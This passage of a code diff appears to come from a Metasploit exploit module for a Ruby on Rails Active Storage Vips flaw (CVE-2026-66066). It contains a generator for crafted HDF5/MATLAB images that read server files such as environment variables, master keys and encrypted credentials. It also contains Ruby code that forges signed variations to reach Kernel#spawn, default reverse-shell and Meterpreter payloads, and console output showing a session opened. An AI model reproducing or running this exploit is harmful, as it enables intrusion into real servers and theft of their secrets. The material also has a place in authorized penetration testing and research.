Validated SECRET_KEY_BASE and a signed Active Storage representation; the arbitrary file read was not tested +[*] Triggering the ImageProcessing send/spawn variation using a verifier key derived from operator-supplied SECRET_KEY_BASE +[*] Sending stage (3090404 bytes) to 172.17.0.2 +[*] Meterpreter session 1 opened + +msf6 exploit(multi/http/rails_activestorage_vips_rce) > sessions -i 1 -C getuid +[*] Running 'getuid' on meterpreter session 1 (127.0.0.1) +Server username: rails ``` diff --git a/external/source/exploits/CVE-2026-66066/README.md b/external/source/exploits/CVE-2026-66066/README.md index 0099116620835..8c3724d5ae8b0 100644 --- a/external/source/exploits/CVE-2026-66066/README.md +++ b/external/source/exploits/CVE-2026-66066/README.md @@ -6,14 +6,49 @@ The generated artifacts are committed under `data/exploits/CVE-2026-66066/`. ## Build -The generator requires Python 3 and `h5py`. +The generator requires Python 3, NumPy, and `h5py`. The committed artifacts +were generated with the following reference toolchain on x86-64 Linux: + +- CPython 3.13.5 +- pip 25.1.1 +- NumPy 2.5.1 +- h5py 3.16.0 (the manylinux wheel bundles HDF5 2.0.0) + +Use the pinned versions when byte-for-byte reproducibility is required. HDF5 +metadata serialization can differ between library releases even when the +resulting dataset is semantically equivalent. ```sh -python3 -m venv .venv -.venv/bin/pip install h5py +python3.13 -m venv .venv +.venv/bin/python -m pip install 'pip==25.1.1' +.venv/bin/python -m pip install --only-binary=:all: 'numpy==2.5.1' 'h5py==3.16.0' .venv/bin/python external/source/exploits/CVE-2026-66066/generate_msf_templates.py ``` Run the commands from the Metasploit Framework root. The script performs local layout checks while generating each template and writes the resulting files to `data/exploits/CVE-2026-66066/`. + +The expected SHA-256 digests for the reference toolchain are: + +```text +c24104e665036dfe84f5ad616368c4b2f5b0c8180ae0ac7aa5606cc0b0d36236 ascii_256.mat +24b14bd0015c5a1370a1395119f44cd9e2a48e99747a510fefda95be461dbf40 ascii_100.mat +f4512b49ee9d781857b60f49311c08cfd395794d01aa48f585c141afff3e2042 ascii_64.mat +0aad1429cb605e09fc640c0da51188213d0ec457783837ab3d86eb4de01ab047 ascii_32.mat +5dbf7909fbfa954fec333c8ad7bd63845a224d95d7a617339996f710c8da1068 ascii_20.mat +c953962ddd38cadbe167955010d4d228868d9f31a43f75c48250b37dd6c14fa8 ascii_16.mat +``` + +## MATLAB class attribute compatibility + +The `MATLAB_class` attribute deliberately uses a fixed-width `S6` value +containing `uint8` followed by an explicit NUL byte. Do not shorten it to `S5` +or replace it with a variable-length string. + +libmatio 1.5.24 and earlier read this attribute into a same-width, +NUL-terminated memory type. An `S5` value has no room for the terminator, so +those releases truncate `uint8` to `uint` and reject the dataset with +`unsupported class type 0`. Storing `uint8\0` as `S6` works with those older +libmatio releases as well as newer releases and keeps the templates usable on +common supported distributions. diff --git a/external/source/exploits/CVE-2026-66066/generate_msf_templates.py b/external/source/exploits/CVE-2026-66066/generate_msf_templates.py index ce2712db8d9f4..b13336f47a907 100755 --- a/external/source/exploits/CVE-2026-66066/generate_msf_templates.py +++ b/external/source/exploits/CVE-2026-66066/generate_msf_templates.py @@ -1,5 +1,8 @@ #!/usr/bin/env python3 -"""Generate static HDF5 external-storage templates for the Metasploit module.""" +"""Generate the HDF5/MATLAB external-storage templates used by the module.""" + +# This source is distributed under the Metasploit Framework License. +# https://github.com/rapid7/metasploit-framework/blob/master/LICENSE from __future__ import annotations @@ -13,38 +16,17 @@ HDF5_USERBLOCK_SIZE = 512 HDF5_SIGNATURE = b"\x89HDF\r\n\x1a\n" MATLAB_HEADER_TEXT = b"MATLAB 5.0 external-storage Active Storage MSF" -EXPECTED_EXTERNAL_OFFSET_POSITION = 1448 -BLOCKED_EXTERNAL_PATH_PLACEHOLDER = "/rails_vips_external_path_placeholder_012345678901234567890123456789" -BLOCKED_BYTE_SIZE = 5 -BLOCKED_CHUNK_BYTES = (32, 16, 8, 4) +EXTERNAL_PATH_PLACEHOLDER = ( + "/rails_vips_external_path_placeholder_012345678901234567890123456789" +) +EXTERNAL_OFFSET_MARKER = 0x4D53460000000000 +TEMPLATE_DIMENSIONS = (256, 100, 64, 32, 20, 16) FRAMEWORK_ROOT = Path(__file__).resolve().parents[4] OUTPUT_DIR = FRAMEWORK_ROOT / "data" / "exploits" / "CVE-2026-66066" -TEMPLATES = { - "proc_version.mat": ("/proc/version", (1, 256)), - "environment.mat": ("/proc/self/environ", (1, 4096)), - "local_secret.mat": ("/proc/self/cwd/tmp/local_secret.txt", (1, 256)), - "master_key.mat": ("/proc/self/cwd/config/master.key", (1, 128)), - "credentials.mat": ("/proc/self/cwd/config/credentials.yml.enc", (1, 65536)), - "credentials_production.mat": ("/proc/self/cwd/config/credentials/production.yml.enc", (1, 65536)), - "credentials_staging.mat": ("/proc/self/cwd/config/credentials/staging.yml.enc", (1, 65536)), - "credentials_development.mat": ("/proc/self/cwd/config/credentials/development.yml.enc", (1, 65536)), - "credentials_test.mat": ("/proc/self/cwd/config/credentials/test.yml.enc", (1, 65536)), - "credentials_production_key.mat": ("/proc/self/cwd/config/credentials/production.key", (1, 128)), - "credentials_staging_key.mat": ("/proc/self/cwd/config/credentials/staging.key", (1, 128)), - "credentials_development_key.mat": ("/proc/self/cwd/config/credentials/development.key", (1, 128)), - "credentials_test_key.mat": ("/proc/self/cwd/config/credentials/test.key", (1, 128)), - "proc_maps.mat": ("/proc/self/maps", (512, 512)), - "proc_smaps.mat": ("/proc/self/smaps", (512, 512)), - "proc_mem_2048.mat": ("/proc/self/mem", (2048, 2048)), - "proc_mem_1024.mat": ("/proc/self/mem", (1024, 1024)), - "proc_mem_512.mat": ("/proc/self/mem", (512, 512)), - "proc_mem_256.mat": ("/proc/self/mem", (256, 256)), - "proc_mem_128.mat": ("/proc/self/mem", (128, 128)), - "proc_mem_64.mat": ("/proc/self/mem", (64, 64)), -} def matlab_header() -> bytes: + """Return the 128-byte MATLAB v7.3 user-block header.""" header = bytearray(b" " * 128) header[: len(MATLAB_HEADER_TEXT)] = MATLAB_HEADER_TEXT struct.pack_into(" bytes: return bytes(header) -def build_template(output: Path, external_path: str, shape: tuple[int, int]) -> None: - byte_count = shape[0] * shape[1] - with h5py.File(output, "w", userblock_size=HDF5_USERBLOCK_SIZE) as mat_file: - dataset = mat_file.create_dataset( - "environment", - shape=shape, - dtype=" list[int]: + """Return columns isolated by zero-valued neighbours in the Vips image.""" + return list(range(1, dimension - 1, 2)) - with output.open("r+b") as artifact_file: - artifact_file.write(matlab_header()) - artifact = output.read_bytes() - if ( - not artifact.startswith(b"MATLAB 5.0") - or artifact[124:128] != b"\x00\x02IM" - or artifact[HDF5_USERBLOCK_SIZE : HDF5_USERBLOCK_SIZE + 8] != HDF5_SIGNATURE - or external_path.encode() not in artifact - or b"MATLAB_class" not in artifact - or b"uint8" not in artifact - ): - raise RuntimeError(f"{output.name} failed local layout checks") +def external_segments(dimension: int) -> list[tuple[str, int, int]]: + """Build one external-storage record for each Vips image column.""" + columns = set(target_columns(dimension)) + data_index = 0 + segments = [] - if artifact[EXPECTED_EXTERNAL_OFFSET_POSITION : EXPECTED_EXTERNAL_OFFSET_POSITION + 8] != b"\x00" * 8: - raise RuntimeError(f"{output.name} did not contain the expected zero external offset field") - if struct.unpack_from(" tuple[int, int]: - external = [ - (BLOCKED_EXTERNAL_PATH_PLACEHOLDER, index, 1) - for index in range(chunk_bytes) - for _column in range(BLOCKED_BYTE_SIZE) - for _row in range(BLOCKED_BYTE_SIZE) - ] + +def build_template(output: Path, dimension: int) -> None: + """Build and validate one square, sharpen-tolerant text-read template.""" with h5py.File(output, "w", userblock_size=HDF5_USERBLOCK_SIZE) as mat_file: dataset = mat_file.create_dataset( - "environment", - shape=(chunk_bytes * BLOCKED_BYTE_SIZE, BLOCKED_BYTE_SIZE), + "pixels", + shape=(dimension, dimension), dtype=" None: OUTPUT_DIR.mkdir(parents=True, exist_ok=True) with tempfile.TemporaryDirectory() as temp_dir: - for filename, (external_path, shape) in TEMPLATES.items(): + for dimension in TEMPLATE_DIMENSIONS: + filename = f"ascii_{dimension}.mat" temp_path = Path(temp_dir) / filename - build_template(temp_path, external_path, shape) + build_template(temp_path, dimension) (OUTPUT_DIR / filename).write_bytes(temp_path.read_bytes()) - print(f"{filename}: {shape[0]}x{shape[1]}") - for chunk_bytes in BLOCKED_CHUNK_BYTES: - filename = f"blocked_{chunk_bytes}.mat" - temp_path = Path(temp_dir) / filename - first_offset_position, segment_count = build_blocked_template(temp_path, chunk_bytes) - (OUTPUT_DIR / filename).write_bytes(temp_path.read_bytes()) - print( - f"{filename}: {chunk_bytes * BLOCKED_BYTE_SIZE}x{BLOCKED_BYTE_SIZE} " - f"offset_position={first_offset_position} segment_count={segment_count}" - ) + capacity = len(target_columns(dimension)) * dimension + print(f"{filename}: {dimension}x{dimension}, {capacity} source bytes") if __name__ == "__main__": diff --git a/modules/exploits/multi/http/rails_activestorage_vips_rce.rb b/modules/exploits/multi/http/rails_activestorage_vips_rce.rb index 3dbbc16433088..d46f6d88c5255 100644 --- a/modules/exploits/multi/http/rails_activestorage_vips_rce.rb +++ b/modules/exploits/multi/http/rails_activestorage_vips_rce.rb @@ -5,14 +5,14 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'openssl' require 'base64' require 'digest/md5' +require 'json' +require 'openssl' require 'uri' require 'yaml' require 'zlib' -# Exploits Active Storage Vips unfuzzed loaders to recover Rails secrets and execute a command payload. class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -20,47 +20,48 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Auxiliary::Report prepend Msf::Exploit::Remote::AutoCheck - SAFE_PNG = 'iVBORw0KGgoAAAANSUhEUgAAAAgAAAAICAIAAABLbSncAAAADElEQVR4nGNgGB4AAADIAAGtQHYiAAAAAElFTkSuQmCC' EXPLOIT_DATA_DIR = ['exploits', 'CVE-2026-66066'].freeze - DIGESTS = %w[sha256 sha1].freeze - # The bundled h5py templates place the HDF5 external-file offset field here. - HDF5_EXTERNAL_OFFSET_POSITION = 1448 - BLOCKED_EXTERNAL_PATH_PLACEHOLDER = '/rails_vips_external_path_placeholder_012345678901234567890123456789'.b.freeze - BLOCKED_BYTE_SIZE = 5 - BLOCKED_READ_TEMPLATES = [ - ['blocked_32.mat', 32, 59_256, 800], - ['blocked_16.mat', 16, 30_456, 400], - ['blocked_8.mat', 8, 16_056, 200], - ['blocked_4.mat', 4, 8_856, 100] - ].freeze - ENVIRONMENT_CHUNK_BYTES = 4096 - ENVIRONMENT_MAX_BYTES = 65_536 - CREDENTIALS_CHUNK_BYTES = 65_536 - CREDENTIALS_MAX_BYTES = 262_144 - MEMORY_METADATA_CHUNK_BYTES = 262_144 - MEMORY_METADATA_MAX_BYTES = 8_388_608 - VERIFIER_KEY_BYTES = 64 - MEMORY_SCAN_PROGRESS_BYTES = 64 * 1024 * 1024 - MEMORY_SCAN_TEMPLATES = [ - ['proc_mem_2048.mat', 2048], - ['proc_mem_1024.mat', 1024], - ['proc_mem_512.mat', 512], - ['proc_mem_256.mat', 256], - ['proc_mem_128.mat', 128], - ['proc_mem_64.mat', 64] + EXTERNAL_PATH_PLACEHOLDER = '/rails_vips_external_path_placeholder_012345678901234567890123456789'.b.freeze + EXTERNAL_OFFSET_MARKER = 0x4d53460000000000 + READ_LAYOUTS = [256, 100, 64, 32, 20, 16].map do |dimension| + data_columns = (dimension - 1) / 2 + { + artifact: "ascii_#{dimension}.mat", + dimension: dimension, + data_columns: data_columns, + capacity: data_columns * dimension + }.freeze + end.freeze + KEY_GENERATOR_DIGESTS = %w[sha256 sha1 sha384 sha512].freeze + VERIFIER_DIGESTS = { + 40 => 'sha1', + 64 => 'sha256', + 96 => 'sha384', + 128 => 'sha512' + }.freeze + ENVIRONMENT_PATHS = ['/proc/self/environ', '/proc/1/environ'].freeze + LOCAL_SECRET_PATHS = [ + '/proc/self/cwd/tmp/local_secret.txt', + '/proc/self/cwd/tmp/development_secret.txt' ].freeze + CREDENTIAL_ENVIRONMENTS = %w[production staging development test].freeze + DEFAULT_ENVIRONMENT_MAX_BYTES = 65_536 + DEFAULT_CREDENTIALS_MAX_BYTES = 262_144 + REPRESENTATION_REDIRECT_LIMIT = 3 class FlowError < StandardError; end class ConfigError < FlowError; end class DataError < FlowError; end class TriggerError < StandardError; end - # Minimal decoder for the grayscale PNG responses returned by the crafted representation. + # Minimal PNG decoder for the grayscale representation responses. + # Chunk and filtering rules: https://www.w3.org/TR/png-3/ class PngDecoder PNG_SIGNATURE = "\x89PNG\r\n\x1a\n".b + MAX_PIXELS = 1_048_576 def self.decode(data) - raise TriggerError, 'Representation body is not a PNG image' unless data.start_with?(PNG_SIGNATURE) + raise TriggerError, 'Representation body is not a PNG image' unless data.is_a?(String) && data.start_with?(PNG_SIGNATURE) offset = PNG_SIGNATURE.bytesize idat = String.new.b @@ -68,20 +69,30 @@ def self.decode(data) height = nil bit_depth = nil color_type = nil + compression = nil + filter_method = nil interlace = nil + saw_iend = false while offset + 12 <= data.bytesize length = data.byteslice(offset, 4).unpack1('N') + raise TriggerError, 'Representation PNG contains an oversized chunk' if length > data.bytesize - offset - 12 + chunk_type = data.byteslice(offset + 4, 4) chunk_data = data.byteslice(offset + 8, length) - raise TriggerError, 'Representation PNG contains a truncated chunk' unless chunk_data&.bytesize == length + chunk_crc = data.byteslice(offset + 8 + length, 4).unpack1('N') + expected_crc = Zlib.crc32(chunk_type + chunk_data) + raise TriggerError, "Representation PNG #{chunk_type.inspect} chunk failed its CRC check" unless chunk_crc == expected_crc case chunk_type when 'IHDR' - width, height, bit_depth, color_type, _compression, _filter, interlace = chunk_data.unpack('NNC5') + raise TriggerError, 'Representation PNG contained an invalid IHDR chunk' unless length == 13 && width.nil? + + width, height, bit_depth, color_type, compression, filter_method, interlace = chunk_data.unpack('NNC5') when 'IDAT' idat << chunk_data when 'IEND' + saw_iend = true break end @@ -89,19 +100,23 @@ def self.decode(data) end raise TriggerError, 'Representation PNG is missing IHDR data' unless width && height + raise TriggerError, 'Representation PNG dimensions were invalid' unless width.positive? && height.positive? && width * height <= MAX_PIXELS raise TriggerError, "Unsupported PNG bit depth #{bit_depth}" unless bit_depth == 8 raise TriggerError, "Unsupported PNG color type #{color_type}" unless color_type == 0 + raise TriggerError, "Unsupported PNG compression method #{compression}" unless compression.zero? + raise TriggerError, "Unsupported PNG filter method #{filter_method}" unless filter_method.zero? raise TriggerError, 'Interlaced PNG responses are not supported' unless interlace.zero? + raise TriggerError, 'Representation PNG is missing image data' if idat.empty? + raise TriggerError, 'Representation PNG is missing IEND data' unless saw_iend - raw = Zlib::Inflate.inflate(idat) stride = width - expected = height * (stride + 1) - raise TriggerError, 'Representation PNG scanline data is truncated' if raw.bytesize < expected + expected_size = height * (stride + 1) + raw = inflate_limited(idat, expected_size) + raise TriggerError, 'Representation PNG scanline data had an unexpected length' unless raw.bytesize == expected_size previous = Array.new(stride, 0) pixels = String.new.b cursor = 0 - height.times do filter = raw.getbyte(cursor) cursor += 1 @@ -113,37 +128,57 @@ def self.decode(data) end { width: width, height: height, channels: 1, pixels: pixels } - rescue Zlib::DataError => e + rescue Zlib::Error => e raise TriggerError, "Representation PNG decompression failed: #{e.message}" end + def self.inflate_limited(compressed, expected_size) + inflater = Zlib::Inflate.new + inflated = String.new(capacity: expected_size).b + limit = expected_size + 1 + inflater.inflate(compressed) do |chunk| + remaining = limit - inflated.bytesize + if chunk.bytesize > remaining + raise TriggerError, 'Representation PNG scanline data exceeded the expected length' + end + + inflated << chunk + end + raise TriggerError, 'Representation PNG zlib stream was truncated' unless inflater.finished? + raise TriggerError, 'Representation PNG zlib stream contained trailing data' unless inflater.total_in == compressed.bytesize + + inflated + ensure + inflater&.close unless inflater&.closed? + end + def self.unfilter(filter, row, previous) case filter when 0 row when 1 decoded = [] - row.each_index do |idx| - left = idx.zero? ? 0 : decoded[idx - 1] - decoded << ((row[idx] + left) & 0xff) + row.each_index do |index| + left = index.zero? ? 0 : decoded[index - 1] + decoded << ((row[index] + left) & 0xff) end decoded when 2 - row.each_index.map { |idx| (row[idx] + previous[idx]) & 0xff } + row.each_index.map { |index| (row[index] + previous[index]) & 0xff } when 3 decoded = [] - row.each_index do |idx| - left = idx.zero? ? 0 : decoded[idx - 1] - decoded << ((row[idx] + ((left + previous[idx]) / 2)) & 0xff) + row.each_index do |index| + left = index.zero? ? 0 : decoded[index - 1] + decoded << ((row[index] + ((left + previous[index]) / 2)) & 0xff) end decoded when 4 decoded = [] - row.each_index do |idx| - left = idx.zero? ? 0 : decoded[idx - 1] - upper = previous[idx] - upper_left = idx.zero? ? 0 : previous[idx - 1] - decoded << ((row[idx] + paeth(left, upper, upper_left)) & 0xff) + row.each_index do |index| + left = index.zero? ? 0 : decoded[index - 1] + upper = previous[index] + upper_left = index.zero? ? 0 : previous[index - 1] + decoded << ((row[index] + paeth(left, upper, upper_left)) & 0xff) end decoded else @@ -163,7 +198,7 @@ def self.paeth(left, upper, upper_left) upper_left end - private_class_method :unfilter, :paeth + private_class_method :inflate_limited, :unfilter, :paeth end def initialize(info = {}) @@ -172,63 +207,73 @@ def initialize(info = {}) info, 'Name' => 'Ruby on Rails Active Storage Vips Arbitrary File Read and Remote Code Execution', 'Description' => %q{ - This module exploits CVE-2026-66066 in Ruby on Rails Active Storage when the - application uses the Vips variant processor and accepts untrusted image uploads. - Active Storage did not block libvips unfuzzed loaders, allowing a crafted MATLAB - v7.3/HDF5 image to read files from the application host through a normal image - representation response. - - The module first confirms the file-read primitive using /proc/version. During - exploitation it reads /proc/self/environ, recovers SECRET_KEY_BASE directly or - through Rails local secrets / encrypted credentials, forges a signed JSON Active - Storage variation, and reaches ImageProcessing::Processor#send to execute a command - payload. If ordinary secret recovery fails on Linux, it falls back to reading - /proc/self/smaps or /proc/self/maps and /proc/self/mem to recover the in-memory - Active Storage verifier key using an existing signed variation as an HMAC oracle. - Operators can provide a known SECRET_KEY_BASE to skip automatic recovery. - - The module can reuse an existing Active Storage representation URL because - variation keys are global to the application, not bound to a blob. Automatic - file recovery first uses a lossless byte layout, then retries common PNG - resize_to_limit transformations with a blocked-byte layout that preserves each - byte in the center of a 5x5 pixel square. Once SECRET_KEY_BASE is supplied, any - valid representation token is sufficient for the forged variation. If no - representation URL is supplied or found on the landing page, the module falls - back to an application-specific upload form path, submit path, and attachment - field name. It has been validated against Rails 7.2.3.1 and Rails 8.0.5 using - the Vips variant processor, including a Rails 8.0.5 lab configured with the - strict :json Active Support message serializer. + This module exploits CVE-2026-66066 in Ruby on Rails Active Storage when + the application uses the Vips variant processor and accepts untrusted image + uploads. A crafted MATLAB v7.3/HDF5 image uses external storage to read text + files accessible to the Rails worker through a PNG representation response. + + The module recovers secret_key_base from the process environment, Rails local + secrets, or encrypted credentials. It then forges a serializer-compatible + variation whose ImageProcessing operation dispatch invokes Kernel#spawn with a + command payload. The command gadget does not require a Marshal object + gadget or MiniMagick. The original researchers have not disclosed their file-read + construction or RCE chain. + + The generic exfiltration transport requires a valid Active Storage representation + path. It can reuse one from the application or create one through an application + upload form. Supplying SECRET_KEY_BASE removes that requirement: the module can + create a safe blob and construct the standard representation route itself. }, 'Author' => [ - '0xacb', # Vulnerability discovery - 's3np41k1r1t0', # Vulnerability discovery - 'castilho', # Vulnerability discovery - 'RyotaK', # Vulnerability discovery - 'Crypto-Cat' # Metasploit module + '0xacb', + 's3np41k1r1t0', + 'castilho', + 'RyotaK', + 'Crypto-Cat' ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2026-66066'], ['GHSA', 'xr9x-r78c-5hrm'], - ['URL', 'https://ethiack.com/info-hub/research/kindarails2shell-rails-rce-cve-2026-66066'] + ['URL', 'https://ethiack.com/info-hub/research/kindarails2shell-rails-rce-cve-2026-66066'], + ['URL', 'https://blog.flatt.tech/entry/kindarails2shell_rails'] ], 'DisclosureDate' => '2026-07-29', - 'Platform' => %w[linux unix], - 'Arch' => ARCH_CMD, 'Privileged' => false, + # Target-local defaults avoid the generic ARCH_CMD preference for PHP or + # FTP fetch payloads, neither of which is required by the command gadget. 'Targets' => [ - ['Automatic', {}] + [ + 'Unix Command', + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Type' => :unix_cmd, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/unix/reverse_bash' + } + } + ], + [ + 'Linux Fetch Command', + { + 'Platform' => 'linux', + 'Arch' => ARCH_CMD, + 'Type' => :unix_cmd, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp', + 'FETCH_WRITABLE_DIR' => '/tmp' + } + } + ] ], 'DefaultTarget' => 0, - # Generic ARCH_CMD Linux/Unix compatibility makes the framework prefer - # dependency-heavy Meterpreter wrappers over the direct command payload - # validated for this module. - 'DefaultOptions' => { - 'PAYLOAD' => 'cmd/unix/reverse_bash' + 'Payload' => { + 'BadChars' => "\x00" }, 'Notes' => { - 'Stability' => [CRASH_SAFE], - 'Reliability' => [UNRELIABLE_SESSION], + 'Stability' => [SERVICE_RESOURCE_LOSS], + 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] } ) @@ -241,71 +286,71 @@ def initialize(info = {}) OptString.new('SUBMITURI', [true, 'Path that accepts the attachment form submit', '/posts']), OptString.new('DIRECTUPLOADURI', [true, 'Active Storage direct-upload endpoint', '/rails/active_storage/direct_uploads']), OptString.new('ATTACHMENT_FIELD', [true, 'Form field used for the signed blob ID', 'post[image]']), - OptInt.new('REPRESENTATION_INDEX', [true, 'Zero-based representation image index in the landing or submit response', 0]), - OptString.new('REPRESENTATIONURI', [false, 'Existing Active Storage representation URL or path; automatic recovery supports lossless and common resize_to_limit PNG transforms', nil]), - OptString.new('SECRET_KEY_BASE', [false, 'Known Rails secret_key_base value; skips automatic secret recovery when set', nil]), - OptEnum.new('KEY_GENERATOR_DIGEST', [ - true, 'Rails key generator digest', 'auto', ['auto', 'sha256', 'sha1'] - ]) + OptInt.new('REPRESENTATION_INDEX', [true, 'Zero-based representation image index', 0]), + OptString.new('REPRESENTATIONURI', [false, 'Existing Active Storage representation URL or path', nil]), + OptString.new('SECRET_KEY_BASE', [false, 'Known Rails secret_key_base; skips file-based secret recovery', nil]), + OptString.new('CSRF_TOKEN', [false, 'Known CSRF token; otherwise extracted from LANDINGURI', nil]), + OptString.new('COOKIE', [false, 'Cookie header for an authenticated upload workflow', nil]), + OptEnum.new('KEY_GENERATOR_DIGEST', [true, 'Rails key generator digest', 'auto', %w[auto sha256 sha1 sha384 sha512]]), + OptEnum.new('VERIFIER_DIGEST', [true, 'Active Support message verifier HMAC digest', 'auto', %w[auto sha1 sha256 sha384 sha512]]), + OptEnum.new('MESSAGE_SERIALIZER', [true, 'Compatible Active Support message serialization format', 'auto', %w[auto json marshal]]) ] ) register_advanced_options( [ - OptInt.new('MemoryScanMaxBytes', [true, 'Maximum process memory bytes to scan when secret recovery fails', 536_870_912]), - OptInt.new('MemoryScanStride', [true, 'Candidate verifier-key alignment to test during the process memory scan', 8]) + OptInt.new('EnvironmentMaxBytes', [true, 'Maximum bytes to read from each procfs environment file', DEFAULT_ENVIRONMENT_MAX_BYTES]), + OptInt.new('CredentialsMaxBytes', [true, 'Maximum bytes to read from each encrypted credentials file', DEFAULT_CREDENTIALS_MAX_BYTES]) ] ) end def check validate_options! - representation = try_file_read('proc_version.mat', 'probe.bmp') - if representation && representation[:pixels].include?('Linux version ') - report_vuln( - host: rhost, - port: rport, - proto: 'tcp', - name: fullname, - info: 'Confirmed arbitrary file read through an Active Storage representation', - refs: references - ) - return CheckCode::Vulnerable('Recovered /proc/version through an Active Storage representation') - end - - representation = try_blocked_file_read_chunks( - '/proc/version', - 'probe.bmp', - max_bytes: 256 - ) { |read| read[:pixels].include?('Linux version ') } - if representation && representation[:pixels].include?('Linux version ') - report_vuln( - host: rhost, - port: rport, - proto: 'tcp', - name: fullname, - info: 'Confirmed arbitrary file read through an Active Storage representation', - refs: references - ) - return CheckCode::Vulnerable('Recovered /proc/version through a resize-tolerant Active Storage representation') + if datastore['SECRET_KEY_BASE'].present? + secret_key_base = validate_secret_key_base(datastore['SECRET_KEY_BASE']) + @known_secret_context = context_from_known_secret(secret_key_base) + verify_known_secret_context(@known_secret_context) + report_active_storage_service + return CheckCode::Detected('Validated SECRET_KEY_BASE and a signed Active Storage representation; the arbitrary file read was not tested') end - CheckCode::Unknown('The representation did not contain /proc/version data; the selected variation may not preserve file bytes') - rescue TriggerError => e - vprint_error(e.message) - CheckCode::Unknown(e.message) - rescue FlowError => e - vprint_error(e.message) + @read_context = detect_read_context + report_active_storage_service + report_vuln( + host: rhost, + port: rport, + proto: 'tcp', + name: fullname, + info: 'Confirmed arbitrary file read through an Active Storage representation', + refs: references + ) + CheckCode::Vulnerable("Recovered /proc/version with the #{@read_context[:layout][:dimension]}x#{@read_context[:layout][:dimension]} #{@read_context[:mode]} layout") + rescue StandardError => e + vprint_error("Check failed: #{e.message}") CheckCode::Unknown(e.message) end def exploit validate_options! - context = exploit_context - print_status("Triggering JSON Vips send gadget using #{context[:verifier_source]}") - serialized = json_variation_payload(payload.encoded) - variation = forged_variation(context[:verifier_key], serialized) - trigger_variation(context[:representation][:path], variation) + context = if datastore['SECRET_KEY_BASE'].present? + secret_key_base = validate_secret_key_base(datastore['SECRET_KEY_BASE']) + if @known_secret_context&.dig(:secret_key_base) == secret_key_base + @known_secret_context + else + context_from_known_secret(secret_key_base).tap do |known_secret_context| + verify_known_secret_context(known_secret_context) + end + end + else + @read_context ||= detect_read_context + context_from_recovered_secret(@read_context) + end + + print_status("Triggering the ImageProcessing send/spawn variation using #{context[:verifier_source]}") + transformations = command_transformations(payload.encoded) + path = forged_representation_path(context, transformations) + trigger_variation(path) rescue ConfigError => e fail_with(Failure::BadConfig, e.message) rescue DataError => e @@ -316,418 +361,471 @@ def exploit private - def app_uri(path) - normalize_uri(target_uri.path, path) + def report_active_storage_service + report_service( + host: rhost, + port: rport, + proto: 'tcp', + name: ssl ? 'https' : 'http', + info: 'Ruby on Rails Active Storage' + ) end def validate_options! raise ConfigError, 'REPRESENTATION_INDEX must be non-negative' if datastore['REPRESENTATION_INDEX'].negative? - raise ConfigError, 'MemoryScanMaxBytes must be at least 4096' if datastore['MemoryScanMaxBytes'] < 4096 - raise ConfigError, 'MemoryScanStride must be 8 or 16' unless [8, 16].include?(datastore['MemoryScanStride']) + raise ConfigError, 'EnvironmentMaxBytes must be at least 1024' if datastore['EnvironmentMaxBytes'] < 1024 + raise ConfigError, 'CredentialsMaxBytes must be at least 1024' if datastore['CredentialsMaxBytes'] < 1024 end - def data_file(name, external_offset: 0, external_path: nil) + def app_uri(path) + normalize_uri(target_uri.path, path) + end + + def patch_hdf5_template(layout, external_path, external_offset = 0) + raise FlowError, 'External read path must be absolute' unless external_path.to_s.start_with?('/') + raise FlowError, 'External read path contained a NUL byte' if external_path.to_s.include?("\x00") + raise FlowError, 'External read path was too long' if external_path.to_s.b.bytesize > EXTERNAL_PATH_PLACEHOLDER.bytesize + raise FlowError, 'External read offset must be non-negative' if external_offset.negative? + raise FlowError, 'External read offset was too large' if external_offset + layout[:capacity] > 0x7fffffffffffffff + paths = [Msf::Config.data_directory, Msf::Config.user_data_directory].map do |directory| - ::File.join(directory, *EXPLOIT_DATA_DIR, name) + ::File.join(directory, *EXPLOIT_DATA_DIR, layout[:artifact]) end path = paths.find { |candidate| ::File.file?(candidate) } raise DataError, "Missing exploit data file: #{paths.join(' or ')}" unless path + # HDF5 external-file records are described in the HDF5 format specification: + # https://support.hdfgroup.org/documentation/hdf5/latest/_f_m_t3.html data = ::File.binread(path) - raise FlowError, 'External read offset must be non-negative' if external_offset.negative? - - blocked_layout = blocked_template_layout(name) - return blocked_data_file(data, name, blocked_layout, external_offset, external_path) if blocked_layout - return data if external_offset.zero? - - unless data.byteslice(HDF5_EXTERNAL_OFFSET_POSITION, 8) == ("\x00" * 8) - raise DataError, "Exploit data file #{name} did not contain the expected HDF5 external offset field" + unless data.scan(EXTERNAL_PATH_PLACEHOLDER).length == layout[:data_columns] + raise DataError, "Exploit data file #{layout[:artifact]} had an unexpected external path layout" end - data = data.dup - data[HDF5_EXTERNAL_OFFSET_POSITION, 8] = [external_offset].pack('Q<') - data - end - - def blocked_template_layout(name) - BLOCKED_READ_TEMPLATES.find { |artifact, _chunk_bytes, _offset_position, _segment_count| artifact == name } - end + replacement = external_path.to_s.b.ljust(EXTERNAL_PATH_PLACEHOLDER.bytesize, "\x00") + data = data.gsub(EXTERNAL_PATH_PLACEHOLDER) { replacement } - def blocked_data_file(data, name, layout, external_offset, external_path) - raise FlowError, "Blocked exploit data file #{name} requires an external path" if external_path.blank? + layout[:data_columns].times do |index| + marker_record = [EXTERNAL_OFFSET_MARKER + index, layout[:dimension]].pack('Q BLOCKED_EXTERNAL_PATH_PLACEHOLDER.bytesize - raise FlowError, 'Blocked external read path was invalid or too long' + data[position, 8] = [external_offset + (index * layout[:dimension])].pack('Q<') end - _artifact, _chunk_bytes, first_offset_position, segment_count = layout - replacement = external_path.ljust(BLOCKED_EXTERNAL_PATH_PLACEHOLDER.bytesize, "\x00") - replaced_paths = data.scan(BLOCKED_EXTERNAL_PATH_PLACEHOLDER).length - unless replaced_paths == segment_count - raise DataError, "Exploit data file #{name} did not contain the expected blocked external paths" - end + data + end - data = data.gsub(BLOCKED_EXTERNAL_PATH_PLACEHOLDER, replacement) + def detect_read_context + candidates = READ_LAYOUTS.dup + errors = [] + + until candidates.empty? + layout = candidates.shift + begin + read = file_read_once(layout, '/proc/version', 0, "probe_#{layout[:dimension]}.bmp") + if read[:width] != layout[:dimension] || read[:height] != layout[:dimension] + observed_limit = 